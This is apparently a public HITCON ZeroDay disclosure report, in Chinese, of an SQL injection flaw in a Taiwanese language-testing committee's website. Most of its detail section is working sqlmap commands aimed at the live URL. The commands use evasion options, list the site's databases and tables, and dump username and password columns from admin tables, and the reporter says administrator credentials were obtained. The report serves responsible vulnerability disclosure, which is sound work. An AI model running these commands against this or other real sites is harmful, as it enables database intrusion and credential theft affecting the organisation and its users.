Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00902
- Vendor: 國家華語測驗推動工作委員會
- Title: 國家華語測驗推動工作委員會 有SQL injection漏洞
- Introduction: 某網站有SQL injection漏洞
處理狀態
目前狀態
公開
Last Update : 2024/10/10
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/08/10 23:48:36 : 新提交 (由 che 更新此狀態)
- 2024/08/12 13:04:15 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/14 09:03:50 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/14 09:03:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/14 09:03:50 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/10 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00902
- 通報者:chewu (che)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://tocfl.sc-top.org.tw/zoom/index.php?country=000
敘述
-
-dbs
sqlmap -u "https://tocfl.sc-top.org.tw/zoom/index.php?country=000" --batch --tamper space2comment,space2hash --random-agent --delay=1 --safe-url=https://tocfl.sc-top.org.tw/tw/ --safe-freq=5 -dbs拿到
available databases [2]: [*] huayu_zoom [*] information_schema -
tables拿到
Database: huayu_zoom [83 tables] +---------------------+ | admin | | member | | admin_user | | btype | | cert_print | | cgroup | | cgroup_current | | cgroup_del_bak | | cgroup_edu_current | | cgroup_spare | | cgroup_sync_log | | chk_repeat_reg | | chk_repeat_reg2 | | citys | | class | | classa | | classdeal | | classdeal_spare | | classroom | | clevel | | coin | | company | | computer_room |
...
3.
Table選擇admin_user
```!
sqlmap -u "https://tocfl.sc-top.org.tw/zoom/index.php?country=000" --batch --tamper space2comment,space2hash --random-agent --delay=1 --safe-url=https://tocfl.sc-top.org.tw/tw/ --safe-freq=5 -D huayu_zoom -T "admin_user" -C "uid,passwd,name" --dump
網站好像有防攻擊,所以其實跑得蠻久的,沒跑完被強制推下線。
最後,拿到疑似管理員的帳號密碼 (但不確定在哪裡可以登入):
註: 綠色是帳號 藍色是密碼
- Table選擇admin
sqlmap -u "https://tocfl.sc-top.org.tw/zoom/index.php?country=000" --tamper space2comment,space2hash -D huayu_zoom -T admin -C uid,pwd --dump最後,拿到疑似管理員的帳號密碼 (這邊拿到的跟上述admin_user拿到的不同):
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。